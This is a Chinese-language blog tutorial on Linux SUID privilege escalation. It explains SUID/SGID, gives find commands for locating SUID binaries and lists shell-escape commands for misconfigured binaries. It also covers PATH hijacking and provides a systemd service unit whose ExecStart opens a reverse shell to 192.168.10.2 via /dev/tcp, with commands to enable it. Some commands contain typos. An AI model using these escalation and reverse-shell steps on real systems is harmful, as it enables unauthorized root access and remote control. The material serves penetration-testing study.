当前位置: 首页 > article >正文

Linux SUID提权

文章目录

  • 1. SUID/SGID
  • 2. 查找SUID文件
  • 3. SUID/SGID提权
    • 3.1 SUID配置不当
    • 3.2 SUID systemctl提权
    • 3.3 $PATH变量劫持
  • 参考

1. SUID/SGID

SUID(Set User ID)意味着如果某个用户对属于自己的文件设置了这种权限,那么其他用户在执行这一脚本时也会具有其属主的相应权限。那么如果root用户的某一个脚本/可执行程序设置了这样的权限,其他普通用户在执行它的期间也同样具有root用户的权限。同样的原则也适用于SGID,执行相应脚本的用户将具有该文件所属用户组中用户的权限。

SUID特殊权限只适用于可执行文件。当用户执行此类型文件时,操作系统会暂时将当前用户的UID切换为文件所有者的UID。当文件执行结束后,身份的切换随之结束。

举个例子,用户想修改自己的密码,可以使用passwd 用户名,passwd可执行文件位于/usr/bin/下。我们知道,用户的密码信息保存在/etc/shadow文件中,那么passwd的原理其实就是修改shadow文件。
在这里插入图片描述

可以看到,该文件为root用户所有,并设置了仅root用户有 w(写)权限。那么,其他普通用户按理说是修改不了该文件,为什么普通用户可以使用passwd命令直接修改shadow文件?我们再看下面的passwd命令,执行权限x变成了s,这是因为设置了SUID权限,其他用户调用执行passwd时,操作系统会使用该文件所有者的的身份(root)去执行,故而可以修改shadow文件。如果取消passwd的SUID权限,你可尝试一下,普通用户修改密码会失败。

chmod u+s filename	-->>设置SUID权限
chmod u+s filename	-->>取消SUID权限

2. 查找SUID文件

以下命令皆可查找配置了SUID特殊权限的文件

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

3. SUID/SGID提权

root用户设置了SUID的可执行文件,其他用户调用时也是以root权限运行,如果这些可执行文件本身又可以调用其他可执行文件,或者可以更改系统的一些配置选项,就可以达到提权的目的。

3.1 SUID配置不当

可以直接调用命令的命令,直接可以用于提权。

路径提权命令路径提权命令
/usr/bin/bashbash-p/usr/bin/findfind /etc/passwd -exec bash -p
/usr/bin/cshcsh -p/usr/bin/awkawk ‘BEGIN {system(“/bin/bash”)}’
/usr/bin/shsh -p/usr/bin/man!/bin/bash
/usr/bin/kshksh -p/usr/bin/more!/bin/bash
/usr/bin/zshzsh -p/usr/bin/less!/bin/bash

还可以参考一下这篇文章:SUID Executables

3.2 SUID systemctl提权

systemctl是用于管理Systemd的命令行工具。systemd是CentOS7之后Linux启动的第一个进程,用于管理系统和服务。当systemctl被配置SUID权限时,可以通过创建service unit文件实现提权。原理也是通过systemctl的root权限调用service unit来执行程序,该程序继承systemctl的root权限达到提权目的。

默认情况下,systemctl命令是加载/usr/lib/systemd/system/目录(统预定义的unit文件)和/etc/systemd/system目录(用户定义的unit文件),不过通常测试人员获取的低权限账号是不具备这两个目录的写入权限的。将unit文件放在/dev/shm(Linux中的共享内存文件系统)目录,该目录下的unit文件可以被systemctl正常加载且任意用户可写。

  1. 将代码写入exp.service文件
[Unit]
Description=I am hacker

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > dev/tcp/192.168.10.2/12345 0>&1 2<&1"

[Install]
WantedBy=multi-user.target
  1. 执行以下命令,复制unit文件到/dev/shm目录并使用systemctl加载
cp /tmp/exp.service /dev/shm				#复制文件
systemctl link /dev/shm/exp.service			#设置链接
systemctl eable --now /dev/shm/exp.service	#启动服务

3.3 $PATH变量劫持

在shell中输入字符串后可以解析执行,是因为这些字符串对应着环境变量中的同名可执行文件。环境变量就是一个记录,记录着shell应该从哪些目录中寻找可执行文件。当我们输入ls并回车,系统会按照$PATH变量中的路径依次查找,执行最先找到的命令文件。如果有一个root用户设置了SUID权限的可执行文件其后不能直接跟一个命令,或者说不能由用户传参去调用另一个可执行文件,但是其本身又调用了系统中的一个可执行文件,我们可以通过替换这个被调用的可执行文件,达到提权的目的。换句话说,通过覆盖环境变量,让我们植入的文件被优先找到执行即可。
在这里插入图片描述

那么,只要在/tmp中添加一个同名程序即可被调用,也就达到提权目的。

参考

[1] 《Linux与Unix Shell 编程指南》
[2] 《权限提升技术-攻防实战与技巧》
[3] 【小迪安全】红蓝对抗 | 网络攻防 | V2022全栈培训
[4] systemd官网
[5] systemd和服务管理


http://www.kler.cn/a/503485.html

相关文章:

  • FPGA的 基本结构(Xilinx 公司Virtex-II 系列FPGA )
  • 快速排序介绍
  • SpringCloud系列教程:微服务的未来(十一)服务注册、服务发现、OpenFeign快速入门
  • HBuilderX打包ios保姆式教程
  • golang OpcUaClient
  • iOS - 关联对象
  • Prompt工程框架介绍与场景选择
  • Mysql--架构篇--体系结构(连接层,SQL层,存储引擎层,文件存储层)
  • 《o3模型的突破:AI从模仿到推理的关键转折》
  • 相机小孔成像模型与透视变换
  • Vue 学习之旅:核心技术学习总结与实战案例分享(vue指令下+计算属性+侦听器)
  • 一键掌握多平台短视频矩阵营销/源码部署
  • ChordCraft荣获重要认可:推动全球音乐教育的数字化革新
  • stack和queue专题
  • 使用 versions-maven-plugin 和 flatten-maven-plugin 插件惯例 maven 项目版本
  • JUC Java并发编程 高级 学习大纲 动员
  • 保姆级图文详解:Linux和Docker常用终端命令
  • Mac玩Steam游戏秘籍!
  • Knife4j生成和展示API文档工具
  • Python自学 - “包”的创建与使用(从头晕到了然)
  • 电子邮件安全及核心概念
  • 探索AI与鸿蒙开发新领域:从《星火AI使用指南》到《鸿蒙应用开发宝典》
  • 远程连接不上怎么回事?
  • HTML5 滚动动画详解
  • 常见的php框架有哪几个?
  • 利用Java爬虫按图搜索1688商品(拍立淘)的实践指南